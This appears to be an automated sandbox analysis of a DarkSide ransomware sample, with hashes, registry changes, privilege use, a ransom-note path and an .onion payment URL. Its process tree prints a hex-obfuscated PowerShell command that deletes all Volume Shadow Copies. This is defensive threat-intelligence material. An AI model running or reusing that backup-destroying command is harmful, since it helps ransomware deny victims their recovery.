Overview
overview
10Static
static
706cfe7f5d8...c8.exe
windows7-x64
1006cfe7f5d8...c8.exe
windows10-2004-x64
100839aabe5f...0d.exe
windows7-x64
100839aabe5f...0d.exe
windows10-2004-x64
1012ee27f56e...75.exe
windows7-x64
1012ee27f56e...75.exe
windows10-2004-x64
10151fbd6c29...d5.exe
windows7-x64
10151fbd6c29...d5.exe
windows10-2004-x64
101667e16357...43.exe
windows7-x64
31667e16357...43.exe
windows10-2004-x64
317139a10fd...61.exe
windows7-x64
1017139a10fd...61.exe
windows10-2004-x64
101cc7c198a8...cb.exe
windows7-x64
101cc7c198a8...cb.exe
windows10-2004-x64
10243dff06fc...60.exe
windows7-x64
10243dff06fc...60.exe
windows10-2004-x64
1027214dcb04...8f.exe
windows7-x64
927214dcb04...8f.exe
windows10-2004-x64
103dabd40d56...a6.exe
windows7-x64
33dabd40d56...a6.exe
windows10-2004-x64
343e61519be...aa.exe
windows7-x64
1043e61519be...aa.exe
windows10-2004-x64
1048a848bc9e...3a.exe
windows7-x64
1048a848bc9e...3a.exe
windows10-2004-x64
10508dd6f7ed...dd.exe
windows7-x64
10508dd6f7ed...dd.exe
windows10-2004-x64
10516664139b...4b.exe
windows7-x64
1516664139b...4b.exe
windows10-2004-x64
10533672da9d...8d.exe
windows7-x64
10533672da9d...8d.exe
windows10-2004-x64
106228f75f52...ff.exe
windows7-x64
106228f75f52...ff.exe
windows10-2004-x64
10Resubmissions
27-01-2024 19:37
240127-yb5pksafd3 1027-01-2024 19:36
240127-ybqwesafc2 1012-05-2021 15:56
210512-db4t7vmwas 10Analysis
-
max time kernel
91s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
27-01-2024 19:37
Behavioral task
behavioral1
Sample
06cfe7f5d88e82f7adda6d8333ca8b302debb22904c68a942188be5730e9b3c8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
06cfe7f5d88e82f7adda6d8333ca8b302debb22904c68a942188be5730e9b3c8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral7
Sample
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
1667e1635736f2b2ba9727457f995a67201ddcd818496c9296713ffa18e17a43.exe
Resource
win7-20231129-en
Behavioral task
behavioral10
Sample
1667e1635736f2b2ba9727457f995a67201ddcd818496c9296713ffa18e17a43.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
27214dcb04310040c38f8d6a65fe03c14b18d4171390da271855fdd02e06768f.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
27214dcb04310040c38f8d6a65fe03c14b18d4171390da271855fdd02e06768f.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
3dabd40d564cf8a8163432abc38768b0a7d45f0fc1970d802dc33b9109feb6a6.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
3dabd40d564cf8a8163432abc38768b0a7d45f0fc1970d802dc33b9109feb6a6.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
516664139b0ddd044397a56482d7308d87c213c320a3151ccb9738e8f932654b.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
516664139b0ddd044397a56482d7308d87c213c320a3151ccb9738e8f932654b.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Resource
win7-20231129-en
Behavioral task
behavioral32
Sample
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Resource
win10v2004-20231222-en
General
-
Target
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
-
Size
59KB
-
MD5
0ed51a595631e9b4d60896ab5573332f
-
SHA1
7ae73b5e1622049380c9b615ce3b7f636665584b
-
SHA256
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
-
SHA512
9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
-
SSDEEP
768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58
Malware Config
Extracted
C:\Users\README.5ded7e5f.TXT
darkside
http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Renames multiple (152) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\5ded7e5f.BMP" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\5ded7e5f.BMP" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
Modifies Control Panel 1 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\WallpaperStyle = "10" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
Modifies registry class 5 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\5ded7e5f.ico" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.5ded7e5f 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.5ded7e5f\ = "5ded7e5f" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f\DefaultIcon 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exe243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exepid process 1900 powershell.exe 1900 powershell.exe 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeSecurityPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeTakeOwnershipPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeLoadDriverPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeSystemProfilePrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeSystemtimePrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeProfSingleProcessPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeIncBasePriorityPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeCreatePagefilePrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeBackupPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeRestorePrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeShutdownPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeDebugPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeSystemEnvironmentPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeRemoteShutdownPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeUndockPrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeManageVolumePrivilege 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: 33 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: 34 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: 35 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: 36 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeBackupPrivilege 5004 vssvc.exe Token: SeRestorePrivilege 5004 vssvc.exe Token: SeAuditPrivilege 5004 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exedescription pid process target process PID 1680 wrote to memory of 1900 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe powershell.exe PID 1680 wrote to memory of 1900 1680 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe"C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe"1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD571444def27770d9071039d005d0323b7
SHA1cef8654e95495786ac9347494f4417819373427e
SHA2568438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9
SHA512a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_053fjk1c.11k.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\README.5ded7e5f.TXTFilesize
1KB
MD5d4e176b40c4ea17f4870c34fad926d6e
SHA12cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0
SHA2567ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c
SHA512feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471
-
memory/1900-6-0x00000221509F0000-0x0000022150A12000-memory.dmpFilesize
136KB
-
memory/1900-12-0x0000022136730000-0x0000022136740000-memory.dmpFilesize
64KB
-
memory/1900-13-0x0000022136730000-0x0000022136740000-memory.dmpFilesize
64KB
-
memory/1900-14-0x0000022136730000-0x0000022136740000-memory.dmpFilesize
64KB
-
memory/1900-11-0x00007FFCA0990000-0x00007FFCA1451000-memory.dmpFilesize
10.8MB
-
memory/1900-17-0x00007FFCA0990000-0x00007FFCA1451000-memory.dmpFilesize
10.8MB